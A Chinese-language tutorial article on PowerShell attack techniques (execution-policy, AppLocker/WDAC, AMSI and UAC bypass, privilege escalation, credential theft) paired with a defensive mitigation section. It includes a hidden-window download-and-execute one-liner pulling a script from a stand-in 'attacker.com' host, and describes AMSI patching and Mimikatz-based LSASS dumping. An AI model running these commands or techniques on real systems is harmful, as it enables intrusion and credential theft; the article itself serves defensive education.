提升权限与执行:PowerShell Bypass之道 – wiki基地


提升权限与执行:PowerSliceShell Bypass之道——深入探索攻击与防御的前沿

引言

在现代网络攻防对抗中,Windows PowerShell 已不仅仅是一个强大的系统管理和自动化工具,更成为了攻击者和渗透测试人员手中无处不在的利器。其与 .NET Framework 的深度集成、对 Windows API 的直接访问能力以及灵活的脚本特性,使其在信息收集、横向移动、持久化驻留,乃至权限提升和绕过安全限制方面展现出惊人的潜力。“提升权限与执行”是攻击链中至关重要的环节,而掌握 PowerShell 的 Bypass 技术,则是理解和防御这些高级威胁的关键。本文将深入探讨利用 PowerShell 进行权限提升和绕过执行限制的各种技术、原理、应用场景及其相应的防御策略,旨在为安全专业人士提供一个全面的视角。

第一部分:理解 PowerShell 与 Windows 安全边界

在深入 Bypass 技术之前,我们必须先理解 PowerShell 所处的环境以及 Windows 为限制其潜在风险而设置的重重关卡。

  1. PowerShell 的力量与风险: PowerShell 允许执行复杂的命令和脚本,可以管理系统设置、访问文件系统、操作注册表、与网络服务交互等。这种能力对于管理员来说是福音,但对于攻击者而言,则意味着一个强大的、系统原生的攻击平台,可以“生活在陆地上”(Living Off The Land),减少引入外部恶意软件的需要,从而更难被传统安全产品检测。

  2. 执行策略 (Execution Policy): 这是 Windows 为防止意外执行恶意 PowerShell 脚本而设置的第一道防线。它定义了哪些脚本可以在系统上运行。常见的策略级别包括:

    • Restricted:默认策略,不允许运行任何脚本文件。
    • AllSigned:只允许运行由受信任发布者签名的脚本。
    • RemoteSigned:允许运行本地创建的脚本,从网络下载的脚本必须由受信任发布者签名。
    • Unrestricted:允许运行所有脚本,但会提示运行从网络下载的未签名脚本。
    • Bypass:不阻止任何操作,并且不显示任何警告或提示。
    • Undefined:没有定义执行策略,由组策略或更上层作用域决定。
    • 重要认知: 执行策略并非一个严格的安全边界。它旨在防止用户无意中运行恶意脚本,但有多种方法可以轻松绕过它,它主要防君子不防小人。
  3. 用户账户控制 (User Account Control – UAC): UAC 旨在限制应用程序和任务在标准用户权限下运行,除非管理员明确授权。当需要管理员权限时,UAC 会弹出提示要求确认或输入凭据。攻击者常常需要绕过 UAC 来执行需要更高权限的操作,而 PowerShell 脚本可以被用来触发或利用 UAC Bypass 技术。

  4. 应用程序控制 (Application Control – AppLocker / Windows Defender Application Control – WDAC): AppLocker 和 WDAC 是更强大的白名单解决方案,可以精确控制哪些用户或组可以运行哪些应用程序、脚本、安装程序和 DLL。它们可以基于路径、发布者签名或文件哈希来创建规则。配置得当的 AppLocker/WDAC 可以极大地限制 PowerShell 的滥用,但攻击者也在不断寻找绕过这些策略的方法。

  5. 反恶意软件扫描接口 (Antimalware Scan Interface – AMSI): AMSI 是一个通用接口标准,允许反恶意软件(AV/EDR)产品集成到应用程序(包括 PowerShell)中,在代码执行前对其进行扫描。这意味着即使脚本是从内存加载或经过混淆,AMSI 也可以在运行时检查其内容,显著提高了对基于脚本攻击的检测能力。

  6. 日志记录与监控 (Logging & Monitoring): Windows 提供了多种 PowerShell 日志记录选项,如模块日志记录、脚本块日志记录和 PowerShell 转录。这些日志对于事后分析和实时检测 PowerShell 攻击活动至关重要。

  7. 约束语言模式 (Constrained Language Mode): 当 PowerShell 在特定策略(如 WDAC)下运行时,可能会进入约束语言模式,该模式限制了可用的 cmdlet、.NET 类型、脚本块和语言元素,旨在减少攻击面。

第二部分:PowerShell 执行策略 Bypass 技术详解

如前所述,执行策略并非坚不可摧。以下是一些常见的绕过方法:

  1. 命令行参数 -ExecutionPolicy Bypass

    • 原理:直接在启动 powershell.exe 时指定本次会话的执行策略为 Bypass
    • 示例:powershell.exe -ExecutionPolicy Bypass -File .\MyScript.ps1
    • 特点:简单直接,但容易被命令行审计记录。
  2. -Command 参数与脚本块:

    • 原理:使用 -Command 参数直接执行一串 PowerShell 命令,这通常不受执行策略对 文件 的限制。
    • 示例:powershell.exe -Command "& { Get-Process }"
    • 变种:将脚本内容读取到变量中,然后通过 Invoke-Expression (别名 IEX) 或脚本块调用操作符 & 执行。
      • powershell.exe -Command "$script = Get-Content .\MyScript.ps1 -Raw; Invoke-Expression $script"
  3. 管道输入 (Piping from stdin):

    • 原理:将脚本内容通过管道传递给 powershell.exe 的标准输入。
    • 示例:Get-Content .\MyScript.ps1 | powershell.exe -NoProfile -
    • 特点:避免了直接指定脚本文件,相对隐蔽。
  4. Invoke-Expression 与 Web 下载:

    • 原理:这是最经典的“无文件”执行技术之一。使用 Net.WebClientInvoke-RestMethod / Invoke-WebRequest 从远程服务器下载脚本内容,然后直接在内存中通过 Invoke-Expression 执行。
    • 示例:powershell.exe -Nop -W Hidden -Exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
    • 特点:脚本不接触磁盘(理论上),绕过基于文件的检测和执行策略。但 Invoke-Expression 本身是高风险操作,易被监控。
  5. -EncodedCommand 参数:

    • 原理:将 PowerShell 命令或脚本内容进行 Base64 编码,然后通过 -EncodedCommand 参数传递给 powershell.exe 执行。这可以绕过一些简单的命令行内容过滤。
    • 示例:
      • 先编码: $command = "Write-Host 'Hello Bypass'"; $bytes = [System.Text.Encoding]::Unicode.GetBytes($command); $encodedCommand = [Convert]::ToBase64String($bytes)
      • 再执行: powershell.exe -EncodedCommand $encodedCommand
    • 特点:隐藏了命令行中的明文代码,但 Base64 编码本身是可疑指标,易被检测。
  6. 利用其他 PowerShell 主机:

    • 原理:除了 powershell.exepowershell_ise.exe,某些应用程序可能内嵌了 PowerShell 引擎(Runspace),它们的执行策略可能独立配置或不受全局策略影响。例如,某些管理工具或自定义应用程序。
    • 特点:依赖于特定环境,不通用。
  7. 修改注册表中的执行策略(需要权限):

    • 原理:如果已有足够权限,可以直接修改注册表中定义执行策略的键值。
    • 路径示例:HKLM\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell 下的 ExecutionPolicy 值。
    • 特点:需要管理员权限,动静较大,会被审计。

第三部分:绕过 AppLocker/WDAC 和 AMSI

当面临更严格的应用程序控制和运行时扫描时,攻击者需要更高级的技术。

  1. AppLocker/WDAC Bypass:

    • 利用可信路径/发布者: 如果 AppLocker/WDAC 规则配置不当,允许在某些可写目录(如用户配置文件下的某些子目录)中执行,或者信任了某个可被滥用的签名证书,攻击者可以将 PowerShell 脚本或相关工具放置在这些位置执行。
    • 利用允许的脚本类型: 如果规则只限制了 .ps1 文件,攻击者可能会使用 .psm1(模块)、.psd1(模块清单)或其他可能被 PowerShell 解析执行的文件类型。
    • 利用“Living Off The Land” Binaries and Scripts (LOLBAS): 许多系统自带的、受信任的可执行文件(如 msbuild.exe, regsvr32.exe, installutil.exe, wmic.exe 等)可以被用来间接执行 PowerShell 代码或 .NET 代码,从而绕过直接针对 powershell.exe 的限制。
      • 示例 (InstallUtil.exe):创建一个包含恶意 PowerShell 代码的 .NET 类库,并使用 InstallUtil.exe /U MyAssembly.dll 来执行其卸载方法中的代码。
    • PowerShell 无文件执行变种: 在 AppLocker/WDAC 环境下,内存执行技术(如 IEX(DownloadString)) 依然可能有效,只要下载和执行的过程不触发被阻止的规则(例如,如果网络客户端对象的使用未被阻止)。
  2. AMSI Bypass: AMSI 的存在迫使攻击者在执行恶意代码前先尝试禁用或绕过它。

    • 混淆 (Obfuscation): 这是最常用的基础技术。通过字符串分割、拼接、编码(Base64、Hex)、异或加密、函数名替换、无用代码插入等方式,改变恶意脚本的静态特征,使其无法匹配 AMSI 的已知签名。Invoke-Obfuscation 等工具可以自动化此过程。
    • 内存补丁 (Memory Patching): 更高级的技术涉及在 PowerShell 进程的内存中找到 AMSI 的关键函数(如 AmsiScanBufferAmsiScanString),并修改其代码,使其直接返回“未检测到威胁”的结果或直接失效。这通常通过 P/Invoke 调用 Windows API 实现,需要一定的编程知识。
      • 示例(概念性):找到 amsi.dll 中的 AmsiScanBuffer 地址,修改其开头的指令,让它立刻返回 S_OK (0)。
    • 利用 PowerShell 版本 2: PowerShell v2 不支持 AMSI。如果系统上还安装并启用了 v2 引擎,攻击者可以通过 powershell.exe -Version 2 来启动一个没有 AMSI 保护的会话。这是防御方强烈建议禁用 v2 的原因之一。
    • 强制错误或禁用: 尝试通过反射等方式访问 AMSI 内部对象(如 AmsiUtils),并将其相关字段(如 amsiInitFailed)设置为 true,欺骗 PowerShell 认为 AMSI 初始化失败,从而不再调用它。
    • 分块执行: 将恶意代码分割成多个小块,逐个执行。如果每个单独的块看起来无害,可能可以逃过扫描。
    • 利用 COM 对象劫持: 某些技术可能尝试劫持与 AMSI 相关的 COM 对象。

第四部分:利用 PowerShell 进行权限提升

拥有执行代码的能力后,下一步往往是提升权限。PowerShell 本身不是提权漏洞,但它是实施提权攻击的理想工具。

  1. UAC Bypass: UAC 不是一个安全边界,而是管理员便利性与安全的折衷。存在多种已知技术绕过 UAC 提示,直接以管理员权限执行代码。PowerShell 脚本常被用于自动化这些技术:

    • 利用自动提升的进程: 某些 Windows 可执行文件(如 fodhelper.exe, eventvwr.exe, sdclt.exe 等)在特定条件下启动时会自动提升权限,并且它们会查找注册表中的某些特定键值。攻击者可以篡改这些注册表键,指向恶意命令或脚本,然后触发这些自动提升的进程,从而在没有 UAC 提示的情况下以高权限执行代码。PowerShell 可以方便地查询和修改注册表。
    • DLL 注入/劫持: 向已在高权限运行的进程中注入恶意 DLL,或者利用 DLL 搜索顺序劫持,让高权限进程加载恶意 DLL。PowerShell 可以用于下载 DLL、放置到特定位置或触发加载。
    • COM 接口滥用: 某些高权限 COM 对象的方法可以被标准用户调用,并可能被用来执行文件操作或其他敏感操作。
  2. 利用系统配置错误:

    • 服务权限配置不当: 如果一个以高权限(如 SYSTEM)运行的服务,其可执行文件路径或服务本身允许低权限用户修改,攻击者可以用 PowerShell 替换服务程序为恶意代码,或修改服务配置(如 ImagePath)指向恶意脚本,然后重启服务即可获得高权限。Get-Service, Set-Service, Get-Acl, Set-Acl, sc.exe (通过 PowerShell 调用) 等命令是常用工具。
    • 不安全的计划任务: 检查系统计划任务,如果存在以高权限运行且配置不当(如动作指向可被修改的文件)的任务,可以利用它来执行代码。Get-ScheduledTask, Register-ScheduledTask, Set-ScheduledTask 等 cmdlet 可用。
    • 不安全的目录/文件权限: 如果 SYSTEM 或管理员运行的程序依赖于某个低权限用户可写的目录中的文件或 DLL,攻击者可以替换这些文件。PowerShell 的文件和 ACL 操作 cmdlet 可用于查找和利用这些弱点。
    • Unquoted Service Paths: 如果服务的可执行文件路径包含空格且没有用引号括起来,Windows 在查找该路径时会尝试逐级解释。例如,路径 C:\Program Files\Some Service\Service.exe 如果未加引号,系统会依次尝试执行 C:\Program.exe, C:\Program Files\Some.exe, C:\Program Files\Some Service\Service.exe。如果攻击者能在 C:\ 下放置 Program.exe,并且有权启动/停止服务,就能提权。PowerShell 可用于查询服务配置 (Get-CimInstance Win32_Service) 和放置文件。
  3. 凭据盗窃与利用:

    • 内存凭据抓取: 在获得一定权限(通常是本地管理员或 Debug 权限)后,可以使用 PowerShell 脚本(如 Invoke-Mimikatz,它是 Mimikatz 工具的 PowerShell 实现)从 LSASS 进程内存中提取明文密码、哈希、Kerberos 票据等。
    • 查找存储的凭据: PowerShell 可以搜索文件系统、注册表、浏览器配置文件、配置文件等位置,寻找硬编码的密码、API 密钥或其他敏感凭据。
    • 令牌模拟/窃取: 如果当前用户权限不足,但能访问到更高权限用户的进程令牌(如 SeImpersonatePrivilege),可以使用 PowerShell 调用 Windows API 来模拟该用户,从而获得其权限。

第五部分:防御与缓解策略

面对 PowerShell 的强大能力和各种 Bypass 技术,防御者需要采取多层次、纵深防御的策略:

  1. 最小权限原则: 确保用户和服务账户只拥有完成其任务所必需的最低权限。避免使用管理员账户进行日常操作。
  2. 强化执行策略: 虽然可被绕过,但设置 AllSignedRemoteSigned 策略,并结合代码签名机制,可以提高攻击门槛。强制要求内部开发的脚本必须签名。
  3. 部署应用程序控制 (AppLocker/WDAC): 这是限制 PowerShell 滥用的最有效手段之一。实施严格的白名单策略,只允许已知、必要的脚本和应用程序运行。特别注意限制 powershell.exe 本身,并考虑启用约束语言模式。关注 LOLBAS 列表,限制或监控这些潜在的绕过工具。
  4. 启用并监控 PowerShell 日志: 全面开启模块日志记录、脚本块日志记录(尤其重要,能记录解混淆后的代码)和 PowerShell 转录。将日志集中存储和分析,利用 SIEM 等工具设置告警规则,检测可疑的 PowerShell 活动(如包含 IEX, DownloadString, EncodedCommand, AMSI Bypass 特征的代码等)。
  5. 保持 AMSI 有效: 确保终端上的反恶意软件解决方案支持并启用了 AMSI 集成。及时更新 AV/EDR 产品及其签名库,以识别最新的混淆和 Bypass 技术。
  6. 禁用 PowerShell v2: PowerShell v2 缺乏许多现代安全特性(如 AMSI、增强日志),应在所有系统上禁用它(通过 Windows 功能或组策略)。
  7. 部署 JEA (Just Enough Administration): 对于需要特定管理权限的任务,使用 JEA 创建受限的远程管理端点,只暴露完成任务所必需的 cmdlet 和参数,极大地缩小了攻击面。
  8. UAC 配置与意识: 虽然 UAC 可被绕过,但仍应保持启用状态,并教育用户警惕意外的 UAC 提示。关注并修复已知的 UAC Bypass 漏洞(通过打补丁)。
  9. 系统加固与漏洞管理: 定期打补丁,修复操作系统和应用程序中的已知漏洞,包括那些可被用于提权的漏洞。检查并修复不安全的服务权限、计划任务配置、文件/目录权限等。
  10. 网络流量监控: 监控出站连接,特别是来自 powershell.exe 或其他可疑进程到未知 IP/域名的连接,这可能是下载恶意脚本的迹象。
  11. 威胁狩猎: 主动寻找环境中 PowerShell Bypass 和提权的迹象,例如不寻常的父子进程关系(如 Office 程序启动 powershell.exe)、内存中可疑的 .NET 程序集加载、对 AMSI 或 LSASS 的可疑内存操作等。

结论

PowerShell 作为一把双刃剑,其强大的功能既是系统管理的福音,也是网络攻击的利器。提升权限和绕过执行限制是高级攻击中的常见步骤,而 PowerShell 为此提供了丰富的手段。从简单的执行策略绕过,到复杂的 AMSI 内存补丁和 UAC Bypass,攻击者不断演进技术以对抗日益增强的防御措施。

对于防御者而言,理解这些 Bypass 技术是构建有效防御策略的前提。单一的安全措施往往不足以应对,必须采取纵深防御的思路,结合最小权限原则、强化的应用程序控制、全面的日志监控、及时的补丁管理和持续的安全意识教育。认识到 PowerShell Bypass 的“道”,不仅是为了防御攻击,更是为了更好地利用 PowerShell 的力量,安全、高效地管理我们的系统。攻防之路,永无止境,持续学习和适应是唯一的选择。

重要声明: 本文描述的技术仅用于教育目的和安全研究,旨在帮助安全专业人员理解攻击手法以提升防御能力。严禁将这些技术用于任何非法活动或未经授权的测试。任何滥用行为均需承担相应的法律责任。


发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注

滚动至顶部